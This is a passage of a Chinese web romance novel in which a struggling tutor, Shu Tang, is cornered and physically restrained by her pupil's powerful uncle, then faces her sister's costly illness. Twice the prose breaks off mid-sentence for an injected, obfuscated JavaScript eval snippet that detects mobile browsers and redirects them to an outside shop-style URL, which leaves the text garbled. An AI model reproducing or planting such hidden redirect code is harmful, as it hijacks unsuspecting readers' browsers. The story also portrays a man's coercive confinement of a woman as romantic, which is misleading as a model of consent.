安保的语气不容置疑,“所有非业主及固定服务人员首次进入,都要进行基础安检和身份信息复核,这也是为了保障全体业主的安全与隐私,请您随我到旁边的安检室。” 舒棠的心往下沉了沉,虽然心里对这种行为不满,但太缺钱了,这份家教的报酬也很丰厚,她最后还是跟着安保走进旁边一个独立的安检室。 “请将您的随身物品放入这个篮子,包括手机,钥匙,包。” 女安保指了指旁边的置物台,语气专业而疏离,“然后请您站到这边的安检门通道,我们需要进行简单的扫描,另外,根据规定,我们需要对您的外套和携带物品进行手动检查,确保没有携带任何未经允许的录音,摄像或其他侵犯隐私的设备。” 搜身吗? 这么大张旗鼓? 她蹙眉,脸颊微微发热,心里涌起一股混合着屈辱和不安的情绪。 “请您配合。” 女安保见她没动弹,重复了一遍。 舒棠咬唇,默默把帆布包,手机,甚至辅导资料都放进了篮子,脱下薄外套。 她看到帆布包被女安保打开,里面的书本都被一页页轻柔但彻底地翻检,连夹层和笔袋都没有放过。 女安保的手指偶尔会触碰到她的物品,动作训练有素,却让她有种被冒犯的不适。 为了时薪五百,忍住。 她拼命给自己洗脑。 最后,不知道过了多久,她经过了那个类似机场安检门的通道,又被女安保用手持探测器仔细地扫过身前身后。 整个过程安静又高效,无可指摘,却将「外来者」和「特权领域」的界限划得清清楚楚。 为了赚到这笔家教钱,她忽然觉得自己作为个体尊严的某一部分,在这程序化的检视中被无声地剥离了。 同时,她意识到自己即将踏足的是一个规则截然不同的世界。 “可以了,舒女士。” 女安保将检查完毕的物品还给她,态度依旧礼貌而冷淡:“您的信息已录入临时访客系统,祝您愉快。” 舒棠皮笑肉不笑地呵呵两声。 愉快? 被这样对待谁能愉快? 她接过东西,重新背起帆布包,帆布包似乎还残留着被人翻检过的痕迹。 走出安检室后,舒棠松了口气,按照郝恬发给她的指示路走,越走向里,越发现里面比外面的独栋别墅还要精致华丽。 不仅如此,她还看到了几个娱乐圈明星,都是那种一线艺人。 怪不得这地方隐私性这么强。 最后,她走到一栋现代风格的三层别墅前,按响门铃,手心微微出汗。 后知后觉自己即将要授课的是一出生就站在金字塔顶端的天之骄子,若不是有郝恬这层关系,哪还轮得到她给小少爷讲课,估计清北毕业生都入不了这种上流人士的眼。 很快,门开了。 开门的是一个穿着得体面容和善的中年阿姨,估计是保姆。 “是舒老师吧?请进,太太在客厅等您。” 舒棠露出一个笑容,踏进玄关,大理石地面映出她略微仓惶的身影。 保姆领着她走向客厅,沙发上坐着一位保养得宜气质优雅的女士,此刻正放下手中的骨瓷茶杯,朝她看过来。 想必这位便是沈女士。 “舒老师,欢迎。” 沈女士微笑颔首,态度客气,可眼神中带着惯常的审视,让她感觉很不舒服。 但为了家教佣金,她忍了。 沈女士说:“听郝恬提起过你,很优秀,我家小凯比较调皮,基础也不太牢固,以后就麻烦你了。” 舒棠点头,努力让自己的声音听起来平稳:“沈女士您好,我会尽力的。” 沈女士点头,对保姆示意,把她带去书房。 保姆应声,正要引路,就在这时,通往二楼的旋转楼梯上,传来一阵噔噔噔的脚步声,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046447|194739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个约莫八九岁的小男孩突然冲了下来,手里还挥舞着一个变形金刚。 “新老师来了吗?!” 小男孩嚷嚷着,好奇地打量着舒棠,并不礼貌。 沈女士见状轻斥:“小凯,不准没礼貌。” 虽在斥责,但眼神是温柔的。 她转向舒棠,略带歉意地笑了笑:“这是我儿子,沈凯。” 舒棠回一微笑。 而后沈女士对沈凯说:“小凯,这是舒老师,以后跟着舒老师好好补习数学,知道吗?” 沈凯眨眨眼睛,忽然凑近舒棠,大声问道:“老师,你认识我舅舅吗?” 舒棠的心猛地一停。 沈女士笑着拍了他一下,“你这孩子,乱问什么,你舅舅那么忙,舒老师怎么会认识。” 沈凯不服气地撅起嘴:“可是我昨天在书房外,听到舅舅和陈特助讲话,提到了一个名字,我记不清了,反正是姓舒。” “小凯!” 沈女士的声音稍微严厉了一些,打断了他,随后又对舒棠露出一个无可挑剔的笑容,“小孩子瞎说,舒老师别介意,他舅舅平时很疼他,偶尔会来看看他功课。” 不知为何,舒棠的血液仿佛在这一刻凝固了。 她舔了下发干的唇瓣,忍不住问:“小凯的舅舅是?” 话音刚落,沈女士的目光顿时有些不友善,带了几分意味深长,大概是觉得突然问出的这个问题有些突兀,又或许是往沈津年身上扑的女人太多,沈女士误解了舒棠。 但总之,她没有正面回答她的问题。 舒棠缓了半分钟,才反应过来自己唐突了,抱歉地说:“不好意思,我——” 话还没讲完,就被半路折返的沈凯冲过来打断,小男孩的声音高昂:“没关系的,舒老师,我告诉你我舅舅的名字,他叫——” “沈津年!” 这三个字一出,如同惊雷,在舒棠早已紧绷的神经上轰然炸响。 原来,不是巧合。 根本就没有巧合。 或许,从那场应酬宴开始,沈津年就盯上了她。 一切都在他的掌控之中。 想到这,舒棠浑身的鸡皮疙瘩起来了。 她捏着帆布包带子的手指关节泛白,一股冰冷的寒意从脚底瞬间窜遍全身,比昨夜淋透的雨水更加刺骨。 沈女士似乎并没有察觉她的异样,依旧微笑着:“好了,小凯,带舒老师去书房吧,要乖乖听老师的话。” 沈凯哦了一声,拉起舒棠冰冷僵硬的手,热情万分:“老师走吧,我的书房在楼上!” 舒棠被他拉着,脚步虚浮地踩着楼梯,每一步都踩在棉花上,又像是踏进一个早已编织好的蛛网中心。 直到此时此刻,她才恍然。 原来沈津年那句“因为总有一天,你会自己来到我身边,告诉我,他只是无关紧要的过去”,从来不是空泛的威胁和情话。 而是一道已经落下的判决。 而她此刻。 已然落网。 这个男人,犹为可怕。 可她已经上钩,如何逃。 7. chapter 7 书房面积很大,采光极好,一整面墙都是书架,上面塞满了精装书籍和儿童读物。 试课之后便正式开讲,因为舒棠之前有在辅导机构工作的经验,所以试课很顺利。 此刻,书房内只剩下她和沈凯。 沈凯见沈女士不在,眼睛就开始滴溜溜地转,心思早已不在功课上。 舒棠蹙眉,提醒着他,同时强迫自己也集中精神,翻开教案:“小凯,我们先来看这道应用题……” 她放慢语速,她的教学方法不错,所以沈凯之后听得还算认真,几道习题的知识也都吸收入脑。 时间一分一秒的过去,一个小时后,书房的门被轻轻敲响。 保姆端着一个托盘进来,上面放着精致的点心和两杯果汁。 “太太让送来的,舒老师休息一下吧。” 舒棠看了眼时间,学习的时间确实蛮长了,像沈凯这个年龄的学生能坚持一个小时不乱玩已经算奇迹了,所以她点头,对沈凯说下课休息二十分钟。 沈凯欢呼一声,抓起一块点心就塞进嘴里。 舒棠坐在他身侧,方才在上课,脑子不会多想,现在闲暇时刻,耳边不由自主回响起沈凯之前说的话。 “我的舅舅叫沈津年。” 她呆愣地坐在椅子上,手指无意识地摩挲着书页边缘,有些想不通为什么沈津年会对自己如此上心。 像沈津年那样的权贵,身边免不了各种美人相伴,她还是比较有自知之明的,不会觉得沈津年让自己做他女朋友就对自己是真爱了。 难不成,有钱人都很变态? 就喜欢有男朋友的女人吗? 她胡乱地想着,瞥见手边的果汁,端起来抿了一口。 这时,楼下传来了讲话声,书房的房门没有闭紧,能隐约听到沈女士带着笑意的声音,似乎在迎接什么人,语气比之前更加热络亲切。 她心里一咯噔,拿着水杯的手,几不可察地晃了一下。 几滴橙色的液体溅落在教案纸上,迅速洇开一小团刺眼的湿痕。 同时,心里升起一个猜想。 她慌忙去擦,指尖却在微微发抖。 沈凯没注意到她情绪的不对劲,注意力全在楼下,耳朵竖起来听着,听到什么声音后,猛地从椅子上蹦下来,眼睛发亮:“舅舅!是舅舅来了!” 话音未落,他便旋风似的冲出书房,脚步声咚咚咚地消失在楼梯口。 沈津年来了。 清楚这个事实后,舒棠大脑第一时间产生的念头是,要不要辞去这份家教工作。 但转念一想,这份工作是郝恬介绍,她不好拂郝恬的面子。 而且,她现在真的很缺钱。 好在,休息的这二十分钟里,书房并没有其他人进来。 沈凯一直在楼下玩,直到沈女士催促他,他才依依不舍地放下游戏机,回到书房。 第二堂课,沈凯倒是很快进入状态,摊开练习册,开始有一搭没一搭地做题,偶尔偷瞄一下舒棠。 舒棠心里装着事,此刻显得又些心不在焉。 她害怕沈津年会上楼,害怕自己会和沈津年有正面接触。 所以一直祈祷着沈津年千万别来书房,因为这节课结束后,上午的家教便结束了,她还能领到一千二百五十元的报酬。 但有时候,你越怕什么,什么就会找上你。 在舒棠好不容易不去纠结沈津年来不来书房这个问题时,书房的门被轻轻敲响。 舒棠手中的笔“啪嗒”一声掉在实木书桌上,滚了两圈,又落在地上。 她心一紧,结果听到沈凯头也不抬地说:“请进。” 门开了。 沈津年就站在门口。 他穿着剪裁精良的深灰色休闲西装,没打领带,衬衫领口顶部松着一颗扣子,和昨晚相比,多了几分松弛的居家感。 男人懒散地斜倚着门框,姿态闲适,目光平静地落在舒棠瞬间褪去血色的脸上。 沈凯欢呼一声:“舅舅!” 扔下笔就要扑过去。 沈津年抬手接住他,轻轻揉了揉他的头,视线却未曾从舒棠脸上移开半分:“在做题?有没有认真听舒老师讲课?” 面对小孩子时,他的声音倒是温和。 但落在舒棠耳中,却依旧可怖。 “有!” 沈凯大声回答,又看向舒棠:“老师,这就是我舅舅,我舅舅可厉害了!” 舒棠僵在原地,手指紧紧抠着桌沿,指甲盖都在泛白。 想扯个笑容回应学生,却连嘴角都无法牵动。 她最后垂眸,避开那烙印般的目光。 “小凯,今天的课结束了?” 沈津年忽然问。 沈凯乖乖回答他的问题:“还没完全结束呢,舅舅!舒老师正要给我总结!” “是吗?” 沈津年缓步走进来,随后带上了书房的门。 寂静的屋内响起一道轻微的“咔哒”的落锁声。 舒棠抬眸,才发觉他并没有坐下,而是倚在门边的书架上,姿态依旧闲适,却堵住了唯一的出口。 男人目光紧紧锁住舒棠:“那我不打扰,你们继续。” 继续? 被他这样盯着,舒棠怎么可能继续若无其事地讲题。 她喉咙一阵发紧,想逃离这个像牢笼一样的地方:“其实今天的课可以结束了,小凯很聪明,掌握得不错。” 随后便开始手忙脚乱地收拾自己的东西,书本发出窸窸窣窣的声音,有些刺耳。 沈凯见状,有些失望地说:“啊?这就结束了吗?” 沈津年没说话,只是安静地看着舒棠收拾,直到她把最后一样东西塞进帆布包,猛地站起身,几乎要撞到椅子。 舒棠有些语无伦次:“小凯,今天就到这里,我下周再来。” “我送你。” 沈津年直起身,淡淡接话,语气自然得仿佛理所当然如此。 “不用!” 舒棠脱口而出,声音急促显得有些尖利:“我自己可以走,不麻烦沈先生了。” 她对沈津年的恐惧丝毫没有掩饰。 她不想招惹沈津年,只想逃走。 沈津年眉梢几不可察地动了下。 他勾唇,没理会她的拒绝,径直对沈凯说:“你先下楼找妈妈,舅舅有点事情要和舒老师谈。” “哦。” 沈凯乖乖说。 他虽然好奇,但对舅舅的话向来无条件听从,抱起自己的东西,目光在神色平静的舅舅,和脸色煞白的老师身上来回转了转,便乖乖打开门走出去。 门被关上。 书房内此刻只剩下他们二人。 少了一个话多的孩子,空气骤然被压缩,变得稀薄和粘稠。 窗外阴天的光线透过玻璃,冷冷地照在两人之间。 舒棠紧紧抱着帆布包,像抱着最后的盾牌,一步一步慢慢朝着门口挪动,企图从他身边绕过去。 就在她即将擦过他身侧,手指碰到门把手的瞬间—— 沈津年动了。 他的动作慢条斯理,但却精准得可怕,手臂一伸,轻而易举地捉住她纤细的手腕,力道不容置疑,瞬间禁锢住她的动作。 男人勾唇:“跑什么?在舒老师眼中,难道我这么可怕吗?” 他对舒棠的称呼又变了,和沈凯一样,称呼她为「舒老师」。 但这个称呼从他嘴里出来,多了一分难以察觉的暧昧。 舒棠心里翻了个白眼。 难道你不可怕吗? 她用力想抽回手,却纹丝不动,这下慌了:“沈先生,放开我,请您自重!我只是来做家教的!” “家教?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046448|194739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈津年低笑,“这么巧,正好教到我外甥,舒棠,你觉得这世上有多少巧合,是经得起推敲的?” 他另外一只手忽然抬起,没有碰她,而是慢条斯理地将她一缕滑落的碎发轻轻捋回耳后。 动作温柔,却带着一种居高临下的掌控。 令舒棠非常不适。 “我没有……” 舒棠又急又气,生怕他误会自己,“我不知道小凯是你的外甥,这只是学姐介绍的工作。” “是吗?” 沈津年不置可否,手腕微微用力,将她拉得离自己更近了一步。 舒棠的后背几乎抵到了书架,前面是他坚实温热的身躯,后面是书架。 她无路可逃。 “舒老师这不是在和我玩欲擒故纵吗?” 沈津年故意说。 舒棠欲哭无泪,拼命解释:“我没有!如果我早知道小凯是你的外甥,那我不会接下这个工作。” 空气凝滞两秒,沈津年看向她的目光带了几分冷意。 过了半分钟,沈津年像是没听到她那句话一样,自顾自地问:“舒老师,告诉我,你那个感情很好的男朋友知不知道你今天来这里,给沈津年的外甥做家教?” 只是一个家教的工作,从他的嘴里出来好像就变成了什么见不得人的工作一样。 但很显然,舒棠上套了。 她的脸瞬间涨红:“这和你无关!” “无关?” 沈津年眼神倏地沉了下去,捏着她手腕的力道加重几分,逼得她痛哼一声。 “从你昨晚坐上我的车开始,就和我有关了。” 沈津年盯着她的眼睛,一字一句道:“舒棠,不要拿无关紧要的人做挡箭牌,我不喜欢听。” “我根本没有!” 舒棠被他的自以为是激出火气,恐惧暂时被愤怒压过,仰起脸,迎上他迫人的视线:“我都说了,如果我早知家教学生是你的亲外甥,我会放弃这个工作。沈津年,你以为你是谁?有钱有势就可以为所欲为吗?我再重复一遍,我有男朋友,我对你不感兴趣,请你立刻放开我!” “为所欲为?” 沈津年重复了一遍这个词,眼底的墨色更重。 他非但没有放开,反而用空着的那只手扣住她的腰,将她牢牢按在自己和书架之间。 书架上厚重的书籍被撞得轻微晃动。 舒棠惊呼一声,包掉在地上,两人的身体紧紧相贴,她都能清晰的感受到男人衬衫下肌肉的轮廓和传来的热度。 两人的姿/势过于亲密,让她头皮一阵发麻。 恐惧再次攥住她。 她声音染上哭腔,“放开我……求你。” 沈津年低头,鼻尖几乎碰到她的,目光落在她脸上,注意到她眼中泛起的泪光。 他喉结滚了滚,眼底翻涌着复杂难辨的情绪。 最后,松开了她。 “好,我放开你,你也有拒绝我的权利。” 一瞬间,沈津年后退一步,恢复了往日疏离矜贵的模样。 仿佛方才那个强势禁锢她,对他耳语威胁的人不存在般。 他甚至好整以暇地弯腰,捡起她的包,递给她。 “你的包。” 男人语气平淡。 舒棠一把夺过,紧紧抱在怀里,再也不看他一眼,猛地拉开门,逃也似的冲了出去。 她下了楼,和沈女士打完招呼,便急匆匆地离开了。 二楼书房。 沈津年站在落地窗前,盯着楼下那个仓皇失措的身影,眼底的墨色尚未平息。 直到那抹俏丽的身影再也不见,他才缓缓抬起方才摩挲过她手腕的手,指尖仿佛还残留着她肌肤的触感。 男人勾唇,从兜里摸出一枚手表,指腹摩擦着表身,笑意直达眼底。 不急。 慢慢来。 8. chapter 8 从云巅苑出来之后,舒棠都是惊魂未定的状态。 她快速打车,坐上回家的出租车之后,心才慢慢趋于平静。 期间郝恬打电话过来,问她觉得这个兼职怎么样,正当她犹豫要不要辞去这个家教时,银行卡到账一笔钱,不仅是今天上午的佣金,还有她午饭饭补和交通补助。 一时之间,她想辞职的心被压了下来。 “舒棠?你人呢?” 郝恬以为她那边信号不好,“说话啊?” 舒棠回神:“嗯,挺好的,谢谢你,郝恬。” 郝恬嗳了声,“谢什么,你觉得可以就好,我先忙了。” “好。” 挂断电话后,舒棠长舒一口气。 京城的气温降了又降,下车之后抬头就能看到阴沉的天空,周围嘈杂但有烟火气的声音才让舒棠觉得放松,不再是云巅苑那种低压的气氛。 她准备回家一个人吃火锅,在商超买了点食材,想起江决今天还没给自己发消息,便拨了个电话过去,可是无人接听。 她发现江决最近越来越忙了。 又编辑消息发出去:【还在实验室吗?我晚上准备吃火锅,你来吗?】 等她回到家,简单地吃过午饭,准备小憩一会儿的时候,江决才回她。 江决:【我不过去了,宝贝,你自己吃得开心,晚上我还有会要开。】 居然真的是这样忙。 舒棠心疼他:【好辛苦,你吃午饭了吗?我给你点份外卖吧。】 江决很快回:【不用了,中午有宿舍聚餐,你不用管我了。】 舒棠哦了下,没再发消息烦他,知道他和宿舍室友聚餐时会喝酒,向来不看手机。 那天过后,舒棠的工作和生活照常进行着,和往常并无不同,沈津年也没再打扰她,一切都很平静。 只是她和江决也没有再见过面,每次准备约会前,他不是被实验室叫走,就是被朋友叫走,都没有过一次完整的约会。 细究下来,两人周五晚上见了一面,约在火锅店,但菜刚上完,还没放入锅内开涮,江决就接到了一通电话,她也听不清对方是男是女。 江决挂了电话后,急匆匆地穿上外套,说:“宝贝,我可能没法陪你吃了,朋友有事需要我过去一趟,这顿我请,你还想吃什么随便点,钱我发你微信了,记得收。” 说完之后,也不管舒棠是何种态度,转身就离开了。 舒棠看着他的背影,语气里是无法抑制的失落:“你朋友需要你,可是……我们也很久没见面了。” 热火朝天的火锅店内,周围都是三两好友聚餐或者情侣一起来吃晚饭的,只有她孤零零的一个人坐在那吃火锅。 服务员见她孤单,放了个巨型玩偶陪她一起吃,没有玩偶还好,玩偶一放在对面,显得她更显眼了,她都能感觉到周围人投递过来的眼神。 最后,这顿火锅也没心情继续吃了,她结账走人。 原本她计划着吃完火锅和江决去附近的商场逛街,顺便添置两件冬季外套,但现在根本没了兴致。 回出租屋的地铁上,她疲惫地靠在冰冷的玻璃上,看着窗外飞速倒退的广告牌。 忽然,口袋里的手机震动起来,有电话进来。 她还以为是江决打来的电话,结果不是。 电话是母亲李桂兰打来的。 “棠棠。” 李桂兰的声音带着疲惫和焦急:“下班了吗?说话方便吗?” 舒棠闻言,心瞬间提了起来:“妈,我下班了,怎么了?” 李桂兰很少在这个时间点打电话,语气也异于寻常。 电话那头沉默了几秒,随后便传来极力压抑的抽泣声。 紧接着是李桂兰带着哭腔的话:“舒雪住院了……” 舒雪是舒棠的亲妹妹,比她小五岁,还在读高中。 舒棠听到这,脑袋嗡的一声:“小雪怎么了?上周她还和我打电话说在运动会上拿名次了。” 李桂兰的声音颤抖:“是在体育课上突然晕倒的,送到市医院检查,查了好几天,今天才确诊,说是……一种很罕见的血液病,医生说很危险,要尽快做手术。” 血液病? 还在做手术? 舒棠如坠冰窖,手指紧紧攥住手机,指节用力到发白。 舒雪才刚上高二,性格阳光开朗,很招老师和家长喜欢,是全家人的开心果。 怎么会得罕见血液病? “妈,你别急,慢慢说,手术要多少钱?” 舒棠强迫自己冷静下来,声音却止不住的发颤:“她得的是什么病,医生说了吗?会不会是误诊了?” 李桂兰的声音充满绝望,哽咽地说:“不是误诊,检查结果也出来了,医生说这个病叫什么原发性噬血细胞综合症……手术加上前面检查,还有术后特效药,医生说要准备五十万。” 五十万?! 李桂兰哭得不成样子:“家里这些年攒的钱全都用上了,你爸那边的亲戚和我这边的亲戚能借的都借遍了,现在还差二十万。” 对于一个普通工薪家庭来说,就算是还差的这二十万,也是一个天文数字。 对刚刚毕业在京城找到工作的舒棠来说,更是沉重。 李桂兰有些卑微地说:“棠棠,妈知道不该开这个口,你刚工作,但是小雪等不了啊……医生说越快手术越好,妈妈实在没办法了,你能拿出来多少?” 舒棠的喉咙像是被堵住,涩得发疼,“我毕业后攒的钱都还了助学贷,现在手上还有一万,我先转给你。” 李桂兰叹了口气,说:“只能这么办了。” 舒棠转账的时候,手都在抖,等李桂兰领完转账后,又听到她支支吾吾的声音:“棠棠,你能不能问问江决?江决家不是有钱吗?” 江决? 虽然这二十万对他家而言,或许不是无法承受的。 但现在江决正在读研,她和他只是男女朋友,尚未婚嫁,她有点张不开口。 在她犹豫不决的时候,李桂兰又哽咽起来:“我们还没告诉你妹妹她得了什么病,也不敢告诉她,害怕她直接说不治了。” 舒棠蹙眉,“治,必须要治。” 她深吸一口气,心脏像被一双大掌攥住,呼吸不得。 一边是妹妹危在旦夕的生命,一边是对江决难以启齿的求助和可能带来的关系变数。 她没有犹豫的资格。 “棠棠,刚刚你妹妹还在念叨着想你了,要是让她知道得了这个病,她会怎么办啊——” 这时,手机提示有另外一通电话进来,是舒雪打来的。 舒棠做了个深呼吸:“妈,小雪打电话来了,我先接一下,钱的事你放心,我来想办法。” 她安抚着李桂兰的情绪:“先别告诉小雪她得了什么病。” 吩咐好之后,她才挂断电话,又立刻接通舒雪打进来的电话。 “姐姐……” 听筒里传来舒雪的声音,和以往活力满满的声音大相径庭,此刻带着虚弱。 舒棠心都要碎了,平时在家她和妹妹的关系特别好,无话不谈,称得上是好闺蜜。 她放柔了声音,尽量不让自己的情绪泄露:“我在呢,小雪。” 舒雪听到姐姐熟悉的声音,依赖感出来了,撇撇嘴,小声抱怨着:“姐,我都住院了,你不回来看我吗?我想你了……还想你学校门口卖的提拉米苏,你说放假给我带的。” 舒棠听到这话,眼泪瞬间涌了上来。 她不敢想象若是没有钱耽误妹妹的手术导致妹妹离世的场景,她会心痛死的。 她死死地咬住嘴唇,不让自己哭出声,“小雪乖,姐姐很快就回来看你。” 她吸了吸鼻子,努力让声音听起来轻快:“提拉米苏是吧?我给你带回去,但你要听医生和妈妈的话,好好配合治疗,这样才能好起来,知道了吗?” 舒雪的声音低了下去,似乎有些累了:“嗯……我会听话的,姐姐,你快点回来哦……” “好,姐姐尽快。” 挂断电话后,舒棠站在原地,再也忍不住,眼泪汹涌地往下流。 地铁呼啸进站带来的气流掀起她额前的碎发,周围熙攘的人群喧嚣的声音,仿佛都离她很远。 她只觉得浑身冰冷,一种从心脏蔓延到四肢百骸的冰冷。 二十万。 和妹妹的命。 她没时间犹豫,擦干眼泪,快步走出地铁站,回到出租屋收拾东西,又在网上买了最近一班开往老家青州的高铁票。 距离发车还不到两小时。 她坐上了前往高铁站的出租车,看着窗外飞速倒退的霓虹灯,想起什么,点开和江决的对话框。 删删减减,犹豫半天。 最后只发送一句:【江决,我妹妹突然生病住院了,情况不太好,我今晚要赶回青州。】 张口借二十万是件很重要的事,她觉得不能在手机上讲,必须要当面郑重地说。 她叹了口气,最近发生的事情太多了,压得她喘不来气,不知不觉间,竟然睡着了。 …… 高铁抵达青州时,已是深夜。 舒棠拖着行李箱走出车站,也没和父母打电话,直接打了个车直奔人民医院。 深夜的住院部灯火通明,却安静得有些压抑。 空气中弥漫着消毒水特有的气味。 她找到血液科的楼层,从护士站得知了舒雪的病房号,找了过去。 周围很静,隔着玻璃,她看见了里面的情景。 妹妹舒雪躺在靠窗的病床上,小小的身体在宽大的病号服里显得更加单薄,脸色也是不健康的苍白,嘴唇没什么血色。 和往日里那个总是神采飞扬的模样相去甚远。 移开目光,又看到坐在简陋陪护椅上的父母。 瞬间,她的心脏狠狠揪了一下。 分明国庆她还回家看望过父母,只是短短半个月不见,父亲仿佛苍老了十岁。 舒建国佝偻着背,头发白了一片凌乱地覆在额前。 李桂兰更是憔悴不已,她以前爱打扮,现在却眼圈红肿,身上的旧外套都磨得起了毛边。 病房只开了一盏昏暗的床头灯,光影将父母疲惫的身影拉长。 整个房间内都充斥着一种无声压抑,空气仿佛都凝滞,仪器偶尔发出单调的滴答声。 舒棠站在门外,手搭在门把手上。 忽然没有勇气推开门。 眼前这一幕,比她在电话里听到的更加具象,更加令人心碎。 她深吸一口气,压下鼻尖的酸涩,轻轻推开门进去。 细微的响动惊动了李桂兰,她抬起头,看到站在门口的舒棠后,先是愣了下,随后眼泪毫无预兆地涌出。 她猛地站起身,因为动作太急而晃了下。 舒棠急忙上前扶住她:“妈……” 李桂兰抓住舒棠的手臂,像抓住唯一的浮木,声音哽咽:“你回来了,棠棠……” 舒棠点头,又和舒建国对视,在对方眼底看到了沉痛。 她心又是一缩。 走到床边,看着妹妹沉睡的面容,心难受到极点。 “医生今天怎么说?” 她转向父母,声音很低。 李桂兰擦了擦眼泪:“还是那样,说病情不稳定,反复发烧,脏器有受影响的风险,手术必须尽快做,但是钱——” 她说不下去了。 舒建国哑着嗓子开口,声音干涩:“该问了都问了,是爸没本事。” 他的头垂得更低。 在家里,他一直是顶梁柱的存在,家里大大小小的开销都是父亲挣得,而且她的爸爸没有大男子主义,不会觉得女人只能呆在家里相夫教子做家务。 现在,他都这样了。 舒棠更加难受。 她喉咙发紧,用力握住李桂兰冰凉的手,“爸,别那么说,钱的事,我来想办法。” 这话暂时给了父母一点支撑。 李桂兰靠在她肩头低泣,舒建国也红着眼眶,沉默地点头。 这一夜,舒棠几乎没合眼,让父母回家休息,她一个人陪床。 …… 次日一早,舒雪看到姐姐回来了,高兴地不得了,小声地叫姐姐。 舒棠点头应声,从包里给她拿出准备好的提拉米苏。 看着妹妹高兴吃甜品的模样,舒棠渐渐红了眼眶。 忽然,手机震动两下。 是江决发来的消息。 【小雪怎么了?严重吗?你别太着急。】 话里带着关心,让她有些愧疚,不知如何开口。 正当她犹豫着要不要开借钱这个口时,医院走廊的电梯传来叮咚一声,电梯门缓缓打开,李桂兰和舒建国走出来。 两人昨晚回家都收拾了一遍自己,在家好好休息了一晚,精神头比之前好多了。 李桂兰看到舒棠眼底下的乌青,心疼道:“棠棠,辛苦你了……我给你带了早饭,快回病房吃点。” 舒棠应声,把手机揣回兜里,随李桂兰回了病房。 舒雪又睡过去了,手上打着点滴。 吃过早饭后,病房内又是一片安静。 李桂兰倒了杯热水,递给舒棠,小心翼翼地说:“棠棠,你跟江决说了吗?” 提起这个话题,舒建国也跟着看过来,眼睛里带着希翼,还有不易察觉的忐忑。 舒棠喉咙发紧,避开了他们的目光:“还没……我刚回来,想先看看小雪的情况,再——” 话还未完,就被李桂兰焦急地打断:“不能再拖了啊,医生刚刚又来催了,说小雪的指标又不好,棠棠,妈妈知道你为难,但家里实在凑不出钱了。” 舒建国叹了口气,声音干哑:“爸知道这话不好说,但小雪的命等不起。我和你妈也见过江决那孩子,都觉得他靠谱,你就试着问问,成不成,咱都认。” 话都说到这份上,舒棠即便再难开口,也得说了。 刚刚父母的目光像两座山压下来,她叹口气,也知道没有任何拖延的借口了。 她点点头,拿着手机走出病房,走到楼梯间,犹豫着拨通了江决的电话。 等待接通的嘟嘟声,每一声都敲在她紧绷的神经上。 终于,电话通了。 江决那边很安静,估计是刚睡醒,声音都带着惺忪:“喂,宝贝,你到青州了对吗?小雪怎么样了?” 舒棠溪了口气,尽量让声音平稳,“江决,我到了,小雪的情况……不太好。” “确诊了原发性噬血细胞综合症,需要尽快手术。” 听筒里传来窸窸窣窣的声响,江决从床上坐了起来,语气有些严肃:“这么严重?那什么时候手术?” 舒棠垂眸,舌尖有些发苦,“还没定下手术时间。” 江决说:“怎么还不定?这个病我听说过,很危险的。” 舒棠不知道说什么,沉默了片刻。 最终,她呼出一口气,下定决心般开口:“是因为费用还没凑够,江决,你能借我二十万吗?手术还差二十万……我真的没办法了,才向你开口,我会还你的,立字据,算利息,怎么都行。你能不能先帮帮我?” 她大概是急到了,说得有些语无伦次,根本没注意到江决那边一闪而过的女声。 江决没吭声。 空气骤然沉默,也让舒棠的心一点点往下沉。 确实,她这要求有些强人所难了。 两人只是在谈恋爱,江决现在还没毕业,她就这样向他借钱。 于理,不合。 于情,不该。 但她真的没办法了。 “二十万……” 江决重复了一遍,声音里带着明显的为难:“宝贝,不是我不帮你,你知道的,我现在还没毕业,虽然有点项目上的奖金积蓄,但一下子拿出二十万,确实很困难。” 舒棠眼睫轻颤,握紧手机。 她记得江决去年提起过,他父母帮他存了笔钱让他去国外gap一年,加上他自己的积蓄,怎么也有一百万了。 但对方都这样说了,她只好低声说:“我明白……我再自己想办法吧。” 江决愣了下,余光瞥见躺在旁边,肌肤赛雪的姑娘,心里升起来一股迟来的愧疚。 他斟酌了一下,试探性地说:“这笔钱不是小数目,我一下子拿不出这么多,这样,我先和我父母商量一下,好吧?” 舒棠知道两人并未结婚,她贸然张口,就算是他有存款,也要谨慎一些。 更何况两人在一起后,江决帮了她不少忙。 但听完那话之后,心里还是有点失望。 可最起码比他明确拒绝要好。 舒棠思虑颇多,最后平静地说:“好,我理解你,你跟叔叔阿姨好好商量,不管结果怎么样,都谢谢你。” 挂断电话后,舒棠干脆坐在冰冷的台阶上,也不急着回病房了。 她偏头看向窗外,灰色的天空压得很低,让她险些透不过气。 一股无力感涌上心头,她理解江决的犹豫,二十万不是小数目,牵扯到两个家庭未来的规划,谁都有权慎重。 他的反应无可指摘。 但理解归理解,那种失望,还是渗进了她内心最深处。 因为他最起码有一百万存款,救急借女朋友二十万都不肯。 她心有些凉。
